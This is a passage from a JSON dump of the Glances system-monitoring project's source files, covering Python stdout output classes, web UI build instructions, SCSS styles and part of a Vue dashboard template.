gl.auto_unit(process['memory_info']['rss']) }}B MEM\n{% endfor %}\\\n🔥 TOP PROCESS by MEM\n{% for process in gl.top_process(sorted_by='memory_percent', sorted_by_secondary='cpu_percent') %}\\\n{{ loop.index }}️⃣ {{ process['name'][:20] }}{{ ' ' * (20 - process['name'][:20] | length) }}\\\n    🧠 {{ gl.auto_unit(process['memory_info']['rss']) }}B MEM\\\n{{ ' ' * (7 - (gl.auto_unit(process['memory_info']['rss']) | length)) }}\\\n    ⚡ {{ process['cpu_percent'] }}% CPU\n{% endfor %}\\\n━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n\n\"\"\"\n\n\nclass GlancesStdoutFetch:\n    \"\"\"This class manages the Stdout JSON display.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        # Init\n        self.config = config\n        self.args = args\n        self.gl = api.GlancesAPI(self.config, self.args)\n\n    def end(self):\n        pass\n\n    def update(self, stats, duration=3, cs_status=None, return_to_browser=False):\n        \"\"\"Display fetch from the template file to stdout.\"\"\"\n        if self.args.fetch_template == \"\":\n            fetch_template = DEFAULT_FETCH_TEMPLATE\n        else:\n            logger.info(\"Using fetch template file: \" + self.args.fetch_template)\n            # Load the template from the file given in the self.args.fetch_template argument\n            with open(self.args.fetch_template) as f:\n                fetch_template = f.read()\n\n        # Create a Jinja2 environment\n        jinja_env = jinja2.Environment(loader=jinja2.BaseLoader(), autoescape=True)\n        template = jinja_env.from_string(fetch_template)\n        output = template.render(gl=self.gl)\n        print(output)\n\n        # Return True to exit directly (no refresh)\n        return True\n"
  },
  {
    "path": "glances/outputs/glances_stdout_issue.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2024 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Issue interface class.\"\"\"\n\nimport os\nimport platform\nimport pprint\nimport sys\nimport time\n\nimport psutil\n\nimport glances\nfrom glances import __version__, psutil_version\nfrom glances.timer import Counter\n\nTERMINAL_WIDTH = 79\n\n\nclass colors:\n    RED = '\\033[91m'\n    GREEN = '\\033[92m'\n    ORANGE = '\\033[93m'\n    BLUE = '\\033[94m'\n    NO = '\\033[0m'\n\n    def disable(self):\n        self.RED = ''\n        self.GREEN = ''\n        self.BLUE = ''\n        self.ORANGE = ''\n        self.NO = ''\n\n\nclass GlancesStdoutIssue:\n    \"\"\"This class manages the Issue display.\"\"\"\n\n    def __init__(self, config=None, args=None):\n        # Init\n        self.config = config\n        self.args = args\n\n    def end(self):\n        pass\n\n    def print_version(self):\n        sys.stdout.write('=' * TERMINAL_WIDTH + '\\n')\n        sys.stdout.write(f'Glances {colors.BLUE + __version__ + colors.NO} ({os.path.realpath(glances.__file__)})\\n')\n        sys.stdout.write(f'Python {colors.BLUE + platform.python_version() + colors.NO} ({sys.executable})\\n')\n        sys.stdout.write(f'PsUtil {colors.BLUE + psutil_version + colors.NO} ({os.path.realpath(psutil.__file__)})\\n')\n        sys.stdout.write('=' * TERMINAL_WIDTH + '\\n')\n        sys.stdout.flush()\n\n    def print_issue(self, plugin, result, message):\n        sys.stdout.write(f'{colors.BLUE + plugin}{result}{message}')\n        sys.stdout.write(colors.NO + '\\n')\n        sys.stdout.flush()\n\n    def update(self, stats, duration=3):\n        \"\"\"Display issue\"\"\"\n        self.print_version()\n\n        for plugin in sorted(stats._plugins):\n            if stats._plugins[plugin].is_disabled():\n                continue\n            try:\n                # Update the stats\n                stats._plugins[plugin].update()\n            except Exception:\n                pass\n\n        time.sleep(2)\n\n        counter_total = Counter()\n        for plugin in sorted(stats._plugins):\n            if stats._plugins[plugin].is_disabled():\n                # If current plugin is disable\n                # then continue to next plugin\n                result = colors.NO + '[NA]'.rjust(18 - len(plugin))\n                message = colors.NO\n                self.print_issue(plugin, result, message)\n                continue\n            # Start the counter\n            counter = Counter()\n            counter.reset()\n            stat = None\n            stat_error = None\n            try:\n                # Update the stats\n                stats._plugins[plugin].update()\n                # Get the stats\n                stat = stats.get_plugin(plugin).get_export()\n                # Hide private information\n                if plugin == 'ip':\n                    for key in stat:\n                        stat[key] = '***'\n            except Exception as e:\n                stat_error = e\n            if stat_error is None:\n                result = (colors.GREEN + '[OK]   ' + colors.BLUE + f' {counter.get():.5f}s ').rjust(41 - len(plugin))\n                if isinstance(stat, list) and len(stat) > 0 and 'key' in stat[0]:\n                    key = 'key={} '.format(stat[0]['key'])\n                    stat_output = pprint.pformat([stat[0]], compact=True, width=120, depth=3)\n                    message = colors.ORANGE + key + colors.NO + '\\n' + stat_output[0:-1] + ', ...' + stat_output[-1]\n                else:\n                    message = '\\n' + colors.NO + pprint.pformat(stat, compact=True, width=120, depth=2)\n            else:\n                result = (colors.RED + '[ERROR]' + colors.BLUE + f' {counter.get():.5f}s ').rjust(41 - len(plugin))\n                message = colors.NO + str(stat_error)[0 : TERMINAL_WIDTH - 41]\n\n            # Display the result\n            self.print_issue(plugin, result, message)\n\n        # Display total time need to update all plugins\n        sys.stdout.write('=' * TERMINAL_WIDTH + '\\n')\n        print(f\"Total time to update all stats: {colors.BLUE}{counter_total.get():.5f}s{colors.NO}\")\n        sys.stdout.write('=' * TERMINAL_WIDTH + '\\n')\n\n        # Return True to exit directly (no refresh)\n        return True\n"
  },
  {
    "path": "glances/outputs/glances_stdout_json.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Stdout JSON interface class.\"\"\"\n\nimport time\nfrom typing import Any\n\nfrom glances.globals import printandflush\nfrom glances.logger import logger\nfrom glances.outputs.glances_json_serializer import GlancesJSONSerializer\n\n\nclass GlancesStdoutJson:\n    \"\"\"This class manages the Stdout JSON display.\"\"\"\n\n    DEFAULT_DURATION: int = 3\n    FALLBACK_ERROR_JSON: str = '{\"error\": \"Failed to serialize stats\"}'\n\n    def __init__(self, config: Any | None = None, args: Any | None = None):\n        self.config = config\n        self.args = args\n        self._serializer: GlancesJSONSerializer | None = None\n        self._plugins_list: list[str] = []\n\n        self._init_plugins_list()\n        self._init_serializer()\n\n    def _init_plugins_list(self) -> None:\n        \"\"\"Initialize the plugins list from args with validation.\"\"\"\n        try:\n            self._plugins_list = self.build_list()\n        except Exception as e:\n            logger.error(f\"Failed to build plugins list: {e}\")\n            self._plugins_list = []\n\n    def _init_serializer(self) -> None:\n        \"\"\"Initialize the JSON serializer with error handling.\"\"\"\n        try:\n            self._serializer = GlancesJSONSerializer(include_errors=True, include_metadata=False)\n        except Exception as e:\n            logger.error(f\"Failed to initialize JSON serializer: {e}\")\n            self._serializer = None\n\n    @property\n    def plugins_list(self) -> list[str]:\n        \"\"\"Return the list of plugins to display.\"\"\"\n        return self._plugins_list\n\n    @property\n    def serializer(self) -> GlancesJSONSerializer | None:\n        \"\"\"Return the JSON serializer instance.\"\"\"\n        return self._serializer\n\n    def build_list(self) -> list[str]:\n        \"\"\"Return a list of plugin names from self.args.stdout_json.\n\n        Returns:\n            List of plugin names parsed from the comma-separated argument.\n        \"\"\"\n        if self.args is None:\n            logger.debug(\"args is None, returning empty plugin list\")\n            return []\n\n        stdout_json_arg = getattr(self.args, 'stdout_json', None)\n        if stdout_json_arg is None:\n            logger.debug(\"stdout_json argument is None, returning empty plugin list\")\n            return []\n\n        if not isinstance(stdout_json_arg, str):\n            logger.warning(\n                f\"stdout_json is not a string (got {type(stdout_json_arg).__name__}), attempting string conversion\"\n            )\n            try:\n                stdout_json_arg = str(stdout_json_arg)\n            except Exception as e:\n                logger.error(f\"Failed to convert stdout_json to string: {e}\")\n                return []\n\n        raw_plugins = stdout_json_arg.split(',')\n        plugins = [p.strip() for p in raw_plugins if p.strip()]\n\n        if not plugins:\n            logger.debug(\"No plugins found after parsing stdout_json\")\n\n        return plugins\n\n    def end(self) -> None:\n        \"\"\"Clean up resources (currently no-op).\"\"\"\n        pass\n\n    def update(\n        self, stats: Any, duration: int = 3, cs_status: Any | None = None, return_to_browser: bool = False\n    ) -> bool:\n        \"\"\"Display stats in JSON format to stdout.\n\n        Args:\n            stats: The GlancesStats object containing plugin data.\n            duration: Time to sleep after output (seconds). 0 or negative to skip.\n            cs_status: Client/server status (unused in stdout mode).\n            return_to_browser: Whether to return to browser (unused in stdout mode).\n\n        Returns:\n            True if output was successful, False otherwise.\n        \"\"\"\n        json_output = self._serialize_stats(stats)\n        output_success = self._output_json(json_output)\n        self._wait_duration(duration)\n        return output_success\n\n    def _serialize_stats(self, stats: Any) -> str:\n        \"\"\"Serialize stats to JSON string with fallback on error.\n\n        Args:\n            stats: The GlancesStats object to serialize.\n\n        Returns:\n            JSON string of the serialized stats, or error JSON on failure.\n        \"\"\"\n        if self._serializer is None:\n            logger.error(\"Serializer not initialized, attempting re-initialization\")\n            self._init_serializer()\n            if self._serializer is None:\n                return self.FALLBACK_ERROR_JSON\n\n        if stats is None:\n            logger.warning(\"stats object is None\")\n            return '{}'\n\n        try:\n            return self._serializer.serialize_to_string(stats, self._plugins_list)\n        except Exception as e:\n            logger.error(f\"Failed to serialize stats: {e}\")\n            return self.FALLBACK_ERROR_JSON\n\n    def _output_json(self, json_output: str) -> bool:\n        \"\"\"Output JSON string to stdout.\n\n        Args:\n            json_output: The JSON string to output.\n\n        Returns:\n            True if output was successful, False otherwise.\n        \"\"\"\n        if json_output is None:\n            json_output = '{}'\n\n        try:\n            printandflush(json_output)\n            return True\n        except OSError as e:\n            logger.error(f\"Failed to write JSON to stdout: {e}\")\n            return False\n        except Exception as e:\n            logger.error(f\"Unexpected error writing to stdout: {e}\")\n            return False\n\n    def _wait_duration(self, duration: int) -> None:\n        \"\"\"Wait for the specified duration.\n\n        Args:\n            duration: Time to sleep in seconds. Skipped if <= 0.\n        \"\"\"\n        if duration <= 0:\n            return\n\n        try:\n            time.sleep(duration)\n        except KeyboardInterrupt:\n            logger.debug(\"Sleep interrupted by KeyboardInterrupt\")\n            raise\n        except Exception as e:\n            logger.debug(f\"Sleep interrupted: {e}\")\n"
  },
  {
    "path": "glances/outputs/glances_unicode.py",
    "content": "#\n# This file is part of Glances.\n#\n# SPDX-FileCopyrightText: 2022 Nicolas Hennion <nicolas@nicolargo.com>\n#\n# SPDX-License-Identifier: LGPL-3.0-only\n#\n\n\"\"\"Manage unicode message for Glances output.\"\"\"\n\n_unicode_message = {\n    'ARROW_LEFT': ['\\u2190', '<'],\n    'ARROW_RIGHT': ['\\u2192', '>'],\n    'ARROW_UP': ['\\u2191', '^'],\n    'ARROW_DOWN': ['\\u2193', 'v'],\n    'CHECK': ['\\u2713', ''],\n    'PROCESS_SELECTOR': ['>', '>'],\n    'MEDIUM_LINE': ['\\u2500', '─'],\n    'LOW_LINE': ['\\u2581', '_'],\n    'THREE_DOTS': ['\\u2026', '...'],\n}\n\n\ndef unicode_message(key, args=None):\n    \"\"\"Return the unicode message for the given key.\"\"\"\n    if args and hasattr(args, 'disable_unicode') and args.disable_unicode:\n        return _unicode_message[key][1]\n    return _unicode_message[key][0]\n"
  },
  {
    "path": "glances/outputs/static/.prettierrc.js",
    "content": "module.exports = {\n\tprintWidth: 100,\n\tarrowParens: \"always\",\n\tbracketSpacing: true,\n\tsemi: true,\n\tsingleQuote: true,\n\ttabWidth: 4,\n\ttrailingComma: \"none\",\n\tuseTabs: false,\n};\n"
  },
  {
    "path": "glances/outputs/static/README.md",
    "content": "# Focus on the Glances Web User Interface\n\nIn order to build the assets of the Web UI, you'll need [NPM](https://docs.npmjs.com/getting-started/what-is-npm).\n\nNPM is a package manager for JavaScript related to [Node.js](https://nodejs.org/en/).\n\nNodeJS should be installed/updated on your system.\n\n## Pre-requisites\n\n### Install NodeJS\n\nExample on Ubuntu OS:\n\n```bash\nsudo apt install nodejs npm\n```\n\n### Upgrade NodeJS\n\nExample on Ubuntu OS:\n\n```bash\nsudo apt update\nsudo apt install nodejs npm\nsudo npm install -g n\nsudo n lts\nhash -r\n```\n\n## Build Glances WebUI\n\nYou must run the following command from the `glances/outputs/static/` directory.\n\n```bash\n.venv/bin/python ./generate_webui_conf.py > ./glances/outputs/static/js/uiconfig.json\ncd glances/outputs/static/\n```\n\n### Install dependencies\n\n```bash\nnpm ci\n```\n\n### Update dependencies\n\nTo update all the dependencies to the latest version and package.json and package-lock.json,\nyou can use the command \"npm update --save\":\n\n```bash\nnpm update --save\nnpx npm-check-updates -u\nnpm install\n```\n\n### Build assets\n\nRun the build command to build assets once :\n\n```bash\nnpm run build\n```\n\nor use the watch command to rebuild only modified files :\n\n```bash\nnpm run watch\n```\n\n## Anatomy\n\n```bash\nstatic\n|\n|--- css\n|\n|--- images\n|\n|--- js\n|\n|--- public # path where builds are put\n|\n|--- templates\n```\n\n## Data\n\nEach plugin receives the data in the following format:\n\n* stats\n* views\n* isBsd\n* isLinux\n* isMac\n* isWindows\n"
  },
  {
    "path": "glances/outputs/static/css/custom.scss",
    "content": "// Custom.scss\n\n// Option A: Include all of Bootstrap\n// ==================================\n\n// Include any default variable overrides here (though functions won't be available)\n\n// @import \"../node_modules/bootstrap/scss/bootstrap\";\n\n// Then add additional custom code here\n\n\n\n// // Option B: Include parts of Bootstrap\n// // ====================================\n\n// // 1. Include functions first (so you can manipulate colors, SVGs, calc, etc)\n@import \"../node_modules/bootstrap/scss/functions\";\n\n// // 2. Include any default variable overrides here\n// $body-bg: black;\n\n// // 3. Include remainder of required Bootstrap stylesheets (including any separate color mode stylesheets)\n@import \"../node_modules/bootstrap/scss/variables\";\n@import \"../node_modules/bootstrap/scss/variables-dark\";\n\n// // 4. Include any default map overrides here\n\n// // 5. Include remainder of required parts\n@import \"../node_modules/bootstrap/scss/maps\";\n@import \"../node_modules/bootstrap/scss/mixins\";\n@import \"../node_modules/bootstrap/scss/root\";\n\n// // 6. Optionally include any other parts as needed\n@import \"../node_modules/bootstrap/scss/utilities\";\n@import \"../node_modules/bootstrap/scss/reboot\";\n@import \"../node_modules/bootstrap/scss/type\";\n@import \"../node_modules/bootstrap/scss/images\";\n@import \"../node_modules/bootstrap/scss/containers\";\n@import \"../node_modules/bootstrap/scss/grid\";\n@import \"../node_modules/bootstrap/scss/helpers\";\n@import \"../node_modules/bootstrap/scss/tables\";\n@import \"../node_modules/bootstrap/scss/progress\";\n\n// // 7. Optionally include utilities API last to generate classes based on the Sass map in `_utilities.scss`\n@import \"../node_modules/bootstrap/scss/utilities/api\";\n\n// // 8. Add additional custom code here\n"
  },
  {
    "path": "glances/outputs/static/css/style.scss",
    "content": "// Glances theme\n\n$glances-bg: #000;\n$glances-fg: #CCC;\n$glances-link-hover-color: #57cb6a;\n$glances-fonts: \"Lucida Sans Typewriter\",\"Lucida Console\",Monaco,\"Bitstream Vera Sans Mono\",monospace;\n$glances-fonts-size: 14px;\n\n// Define colors and fonts\n\n// https://getbootstrap.com/docs/5.3/customize/css-variables/#root-variables\n:root,[data-bs-theme=dark] {\n    --bs-body-bg: $glances-bg;\n    --bs-body-color: $glances-fg;\n    --bs-body-font-size: $glances-fonts-size;\n}\n\nbody {\n    background-color: $glances-bg;\n    color: $glances-fg;\n    font-family: $glances-fonts;\n    font-size: $glances-fonts-size;\n    overflow: hidden;\n}\n\n.title {\n    font-weight: bold;\n}\n.highlight {\n    font-weight: bold !important;\n    color: #5D4062 !important;\n}\n.ok, .status, .process {\n    color: #3E7B04 !important;\n}\n.ok_log {\n    background-color: #3E7B04 !important;\n    color: white !important;\n}\n.max {\n    color: #3E7B04 !important;\n    font-weight: bold !important;\n}\n.careful {\n    color: #295183 !important;\n    font-weight: bold !important;\n}\n.careful_log {\n    background-color: #295183 !important;\n    color: white !important;\n    font-weight: bold !important;\n}\n.warning, .nice {\n    color: #5D4062 !important;\n    font-weight: bold !important;\n}\n.warning_log {\n    background-color: #5D4062 !important;\n    color: white !important;\n    font-weight: bold !important;\n}\n.critical {\n    color: #A30000 !important;\n    font-weight: bold !important;\n}\n.critical_log {\n    background-color: #A30000 !important;\n    color: white !important;\n    font-weight: bold !important;\n}\n.error {\n    color: #EE6600 !important;\n    font-weight: bold !important;\n}\n.error_log {\n    background-color: #EE6600 !important;\n    color: white !important;\n    font-weight: bold !important;\n}\n\n// Layout\n\n.container-fluid {\n    margin-left: 0px;\n    margin-right: 0px;\n    padding-left: 0px;\n    padding-right: 0px;\n}\n\n.header {\n    height: 30px;\n}\n\n.header-small {\n    height: 50px;\n}\n\n.header-small > div:nth-child(1) > section:nth-child(1) {\n    margin-bottom: 0em;\n}\n\n.top-min {\n    height: 100px;\n}\n\n.top-max {\n    height: 180px;\n}\n\n.sidebar-min {\n    overflow-y: auto;\n    height: calc(100vh - 30px - 100px);\n}\n\n.sidebar-max {\n    overflow-y: auto;\n    height: calc(100vh - 30px - 180px);\n}\n\n.inline {\n    display: inline-block;\n}\n\n// Table\n\n.table {\n    margin-bottom: 0px;\n}\n\n.margin-top {\n    margin-top: 0.5em;\n}\n\n.margin-bottom {\n    margin-bottom: 0.5em;\n}\n\n.table-sm > :not(caption) > * > * {\n    padding-top: 0em;\n    padding-right: 0.25rem;\n    padding-bottom: 0em;\n    padding-left: 0.25rem;\n}\n\n.sort {\n    font-weight: bold;\n    color: white;\n}\n\n.sortable {\n    cursor: pointer;\n    text-decoration: underline;\n}\n\n.text-truncate {\n    white-space: nowrap;\n    overflow: hidden;\n    text-overflow: ellipsis;\n}\n\n#browser .table-hover tbody tr:hover td {\n    background: $glances-link-hover-color;\n}\n\n// Plugins\n\n.plugin {\n    margin-bottom: 1em;\n}\n\n.button {\n    color: #99CCFF;\n    background: rgba(0, 0, 0, 0.4);\n    border: 1px solid #99CCFF;\n    padding: 1px 5px;\n    border-radius: 5px;\n    letter-spacing: 1px;\n    cursor: pointer;\n    transition: all 0.2s ease-in-out;\n    position: relative;\n    overflow: hidden;\n}\n\n.button:hover {\n    background: rgba(183, 214, 255, 0.30);\n    border-color: #B0D0FF;\n    color: #B0D0FF;\n}\n\n.button:active {\n    transform: scale(0.95);\n    box-shadow: 0 0 8px rgba(153, 204, 255, 0.5);\n}\n\n.frequency {\n    display: inline-block;\n    width: 8em;\n}\n\n#system {\n    span {\n        padding-left: 10px;\n    }\n    span:nth-child(1) {\n        padding-left: 0px;\n    }\n}\n\n#ip {\n    span {\n        padding-left: 10px;\n    }\n}\n\n#quicklook {\n    span {\n        padding: 0;\n        margin: 0;\n        padding-left: 10px;\n    }\n    span:nth-child(1) {\n        padding-left: 0px;\n    }\n    * > th, td {\n        margin: 0;\n        padding: 0;\n    }\n    * > th:nth-child(1), td:nth-child(1) {\n        width: 4em;\n    }\n    * > th:nth-last-child(1), td:nth-last-child(1) {\n        width: 4em;\n    }\n    * > td span {\n        display: inline-block;\n        width: 4em;\n    }\n    .progress {\n        min-width: 100px;\n        background-color: #000;\n        height: 1.5em;\n        border-radius: 0px;\n        text-align: right;\n    }\n    .progress-bar-ok {\n        background-color: #3E7B04;\n\n    }\n    .progress-bar-careful {\n        background-color: #295183;\n    }\n    .progress-bar-warning {\n        background-color: #5D4062;\n    }\n    .progress-bar-critical {\n        background-color: #A30000;\n    }\n    .cpu-name {\n        white-space: nowrap;\n        overflow: hidden;\n        width: 100%;\n        text-overflow: ellipsis;\n    }\n}\n\n#cpu {\n    * > td span {\n        display: inline-block;\n        width: 4em;\n    }\n}\n\n#npu {\n    * > td span {\n        display: inline-block;\n        width: 4em;\n    }\n}\n\n#gpu {\n    * > td span {\n        display: inline-block;\n        width: 4em;\n    }\n}\n\n#mem {\n    * > td span {\n        display: inline-block;\n        width: 4em;\n    }\n}\n\n#memswap {\n    * > td span {\n        display: inline-block;\n        width: 4em;\n    }\n}\n\n#load {\n    * > td span {\n        display: inline-block;\n        width: 3em;\n    }\n}\n\n#vms {\n    span {\n        padding-left: 10px;\n    }\n    span:nth-child(1) {\n        padding-left: 0px;\n    }\n    .table {\n        margin-bottom: 1em;\n    }\n    * > th:not(:last-child), td:not(:last-child) {\n        width: 5em;\n    }\n    * > td:nth-child(2) {\n        width: 15em;\n    }\n    * > td:nth-child(3) {\n        width: 6em;\n    }\n    * > td:nth-child(6) {\n        text-align: right;\n    }\n    * > td:nth-child(8) {\n        width: 10em;\n    }\n    * > td:nth-child(7), td:nth-child(8), td:nth-child(9) {\n        text-overflow: ellipsis;\n        white-space: nowrap;\n    }\n}\n\n#containers {\n    span {\n        padding-left: 10px;\n    }\n    span:nth-child(1) {\n        padding-left: 0px;\n    }\n    .table {\n        margin-bottom: 1em;\n    }\n    // Default column size\n    * > td:not(:last-child) {\n        width: 5em;\n    }\n    * > td:nth-child(1) {\n        width: 10em;\n    }\n    * > td:nth-child(2), td:nth-child(3) {\n        width: 15em;\n    }\n    * > td:nth-child(3) {\n        white-space: nowrap;\n        overflow: hidden;\n    }\n    // Status\n    * > td:nth-child(4) {\n        width: 6em;\n    }\n    * > td:nth-child(5) {\n        width: 10em;\n        text-overflow: ellipsis;\n        white-space: nowrap;\n    }\n    // Some column are align to the right\n    * > td:nth-child(7), td:nth-child(9), td:nth-child(11) {\n        text-align: right;\n    }\n    // Command\n    * > td:nth-child(13) {\n        text-align: left;\n        text-overflow: ellipsis;\n        white-space: nowrap;\n    }\n}\n\n#processcount {\n    span {\n        padding-left: 10px;\n    }\n    span:nth-child(1) {\n        padding-left: 0px;\n    }\n    margin-bottom: 0px;\n}\n\n#amps {\n    .process-result {\n        max-width: 300px;\n        overflow: hidden;\n        white-space: pre-wrap;\n        padding-left: 10px;\n        text-overflow: ellipsis;\n    }\n    .table {\n        margin-bottom: 1em;\n    }\n    * > td:nth-child(8) {\n        text-overflow: ellipsis;\n        white-space: nowrap;\n    }\n}\n\n#processlist div.extendedstats {\n        margin-bottom: 1em;\n        margin-top: 1em;\n}\n\n#processlist div.extendedstats div span:not(:last-child) {\n        margin-right: 1em;\n}\n\n#processlist {\n    overflow-y: auto;\n    height: 600px;\n    margin-top: 1em;\n\n    .table {\n        margin-bottom: 1em;\n    }\n\n    .table-hover tbody tr:hover td {\n        background: $glances-link-hover-color;\n    }\n\n    // Default column size\n    * > td:nth-child(-n+12) {\n        width: 5em;\n    }\n    // Some column are align to the right\n    * > td:nth-child(5), td:nth-child(7), td:nth-child(9), td:nth-child(11) {\n        text-align: right;\n    }\n    // Process user\n    * > td:nth-child(6) {\n        text-overflow: ellipsis;\n        white-space: nowrap;\n        width: 6em;\n    }\n    // Time\n    * > td:nth-child(7) {\n        width: 6em;\n    }\n    // Nice and Status\n    * > td:nth-child(9), td:nth-child(10) {\n        width: 2em;\n    }\n    // Process name & Command line\n    * > td:nth-child(13), td:nth-child(14) {\n        text-overflow: ellipsis;\n        white-space: nowrap;\n    }\n}\n\n\n#alerts {\n    span {\n        padding-left: 10px;\n    }\n    span:nth-child(1) {\n        padding-left: 0px;\n    }\n    * > td:nth-child(1) {\n        width: 20em;\n    }\n}\n\n// Central Glances Browser\n\n#browser {\n    table {\n        margin-top: 1em;\n    }\n}"
  },
  {
    "path": "glances/outputs/static/eslint.config.mjs",
    "content": "import eslint from \"@eslint/js\";\nimport eslintConfigPrettier from \"eslint-config-prettier\";\nimport eslintPluginVue from \"eslint-plugin-vue\";\nimport globals from \"globals\";\nimport typescriptEslint from \"typescript-eslint\";\n\nexport default typescriptEslint.config(\n\t{ ignores: [\"*.d.ts\", \"**/coverage\", \"**/dist\"] },\n\t{\n\t\textends: [\n\t\t\teslint.configs.recommended,\n\t\t\t...typescriptEslint.configs.recommended,\n\t\t\t...eslintPluginVue.configs[\"flat/recommended\"],\n\t\t],\n\t\tfiles: [\"**/*.{ts,vue}\"],\n\t\tlanguageOptions: {\n\t\t\tecmaVersion: \"latest\",\n\t\t\tsourceType: \"module\",\n\t\t\tglobals: globals.browser,\n\t\t\tparserOptions: {\n\t\t\t\tparser: typescriptEslint.parser,\n\t\t\t},\n\t\t},\n\t\trules: {\n\t\t\t// your rules\n\t\t},\n\t},\n\teslintConfigPrettier,\n);\n"
  },
  {
    "path": "glances/outputs/static/js/App.vue",
    "content": "<template>\n\t<div v-if=\"!dataLoaded\" id=\"loading-page\" class=\"container-fluid\">\n\t\t<div class=\"loader\">Glances is loading...</div>\n\t</div>\n\t<glances-help v-else-if=\"args.help_tag\"></glances-help>\n\t<main v-else>\n\t\t<!-- Display minimal header on low screen size (smarthphone) -->\n\t\t<div class=\"d-sm-none\">\n\t\t\t<div class=\"header-small\">\n\t\t\t\t<div v-if=\"!args.disable_system\"><glances-plugin-hostname :data=\"data\"></glances-plugin-hostname></div>\n\t\t\t\t<div v-if=\"!args.disable_uptime\"><glances-plugin-uptime :data=\"data\"></glances-plugin-uptime></div>\n\t\t\t</div>\n\t\t</div>\n\t\t<!-- Display standard header on others screen sizes -->\n\t\t<div class=\"d-none d-sm-block\">\n\t\t\t<div class=\"header d-flex justify-content-between flex-row\">\n\t\t\t\t<div v-if=\"!args.disable_system\" class=\"\"><glances-plugin-system :data=\"data\"></glances-plugin-system>\n\t\t\t\t</div>\n\t\t\t\t<div v-if=\"!args.disable_ip\" class=\"d-none d-lg-block\"><glances-plugin-ip\n\t\t\t\t\t\t:data=\"data\"></glances-plugin-ip>\n\t\t\t\t</div>\n\t\t\t\t<div v-if=\"!args.disable_uptime\" class=\"d-none d-md-block\"><glances-plugin-uptime\n\t\t\t\t\t\t:data=\"data\"></glances-plugin-uptime></div>\n\t\t\t\t<div v-if=\"!args.disable_now\" class=\"d-none d-xl-block\"><glances-plugin-now\n\t\t\t\t\t\t:data=\"data\"></glances-plugin-now></div>\n\t\t\t</div>\n\t\t</div>\n\t\t<div class=\"d-flex d-none d-sm-block\">\n\t\t\t<div v-if=\"!args.disable_cloud\">\n\t\t\t\t<glances-plugin-cloud :data=\"data\"></glances-plugin-cloud>\n\t\t\t</div>\n\t\t</div>\n\t\t<!-- Display top menu with CPU, MEM, LOAD...-->\n\t\t<div class=\"top d-flex justify-content-between flex-row\">\n\t\t\t<!-- Quicklook -->\n\t\t\t<div v-if=\"!args.disable_quicklook\" class=\"d-none d-md-block\">\n\t\t\t\t<glances-plugin-quicklook :data=\"data\"></glances-plugin-quicklook>\n\t\t\t</div>\n\t\t\t<!-- CPU -->\n\t\t\t<div v-if=\"!args.disable_cpu || !args.percpu\" class=\"\">\n\t\t\t\t<glances-plugin-cpu :data=\"data\"></glances-plugin-cpu>\n\t\t\t</div>\n\t\t\t<!-- TODO: percpu need to be refactor\n                <div class=\"col\"\n                        v-if=\"!args.disable_cpu && !args.percpu\">\n                    <glances-plugin-cpu :data=\"data\"></glances-plugin-cpu>\n                </div>\n                <div class=\"col\"\n                        v-if=\"!args.disable_cpu && args.percpu\">\n                    <glances-plugin-percpu :data=\"data\"></glances-plugin-percpu>\n                </div> -->\n\n\t\t\t<!-- NPU -->\n\t\t\t<div v-if=\"!args.disable_npu && hasNpu\" class=\"d-none d-xl-block\">\n\t\t\t\t<glances-plugin-npu :data=\"data\"></glances-plugin-npu>\n\t\t\t</div>\n\t\t\t<!-- GPU -->\n\t\t\t<div v-if=\"!args.disable_gpu && hasGpu\" class=\"d-none d-xl-block\">\n\t\t\t\t<glances-plugin-gpu :data=\"data\"></glances-plugin-gpu>\n\t\t\t</div>\n\t\t\t<!-- MEM -->\n\t\t\t<div v-if=\"!args.disable_mem\" class=\"\">\n\t\t\t\t<glances-plugin-mem :data=\"data\"></glances-plugin-mem>\n\t\t\t</div>\n\t\t\t<!-- SWAP -->\n\t\t\t<div v-if=\"!args.disable_memswap\" class=\"d-none d-lg-block\">\n\t\t\t\t<glances-plugin-memswap :data=\"data\"></glances-plugin-memswap>\n\t\t\t</div>\n\t\t\t<!-- LOAD -->\n\t\t\t<div v-if=\"!args.disable_load\" class=\"d-none d-sm-block\">\n\t\t\t\t<glances-plugin-load :data=\"data\"></glances-plugin-load>\n\t\t\t</div>\n\t\t</div>\n\t\t<!-- Display bottom of the screen with sidebar and processlist -->\n\t\t<div class=\"bottom container-fluid\">\n\t\t\t<div class=\"row\">\n\t\t\t\t<div v-if=\"!args.disable_left_sidebar\" class=\"col-3 d-none d-md-block\"\n\t\t\t\t\t:class=\"{ 'sidebar-min': !args.percpu, 'sidebar-max': args.percpu }\">\n\t\t\t\t\t<template v-for=\"plugin in leftMenu\">\n\t\t\t\t\t\t<component :is=\"`glances-plugin-${plugin}`\" v-if=\"!args[`disable_${plugin}`]\" :id=\"`${plugin}`\"\n\t\t\t\t\t\t\t:data=\"data\">\n\t\t\t\t\t\t</component>\n\t\t\t\t\t</template>\n\t\t\t\t</div>\n\t\t\t\t<div class=\"col\" :class=\"{ 'sidebar-min': !args.percpu, 'sidebar-max': args.percpu }\">\n\t\t\t\t\t<glances-plugin-vms v-if=\"!args.disable_vms\" :data=\"data\"></glances-plugin-vms>\n\t\t\t\t\t<glances-plugin-containers v-if=\"!args.disable_containers\" :data=\"data\"></glances-plugin-containers>\n\t\t\t\t\t<glances-plugin-process :data=\"data\"></glances-plugin-process>\n\t\t\t\t\t<glances-plugin-alert v-if=\"!args.disable_alert\" :data=\"data\"></glances-plugin-alert>\n\t\t\t\t</div>\n\t\t\t</div>\n\t\t</div>\n\t</main>\n</template>\n\n<script>\nimport hotkeys from \"hotkeys-js\";\nimport GlancesHelp from \"./components/help.vue\";\nimport GlancesPluginAlert from \"./components/plugin-alert.vue\";\nimport GlancesPluginCloud from \"./components/plugin-cloud.vue\";\nimport GlancesPluginConnections from \"./components/plugin-connections.vue\";\nimport GlancesPluginContainers from \"./components/plugin-containers.vue\";\nimport GlancesPluginCpu from \"./components/plugin-cpu.vue\";\nimport GlancesPluginDiskio from 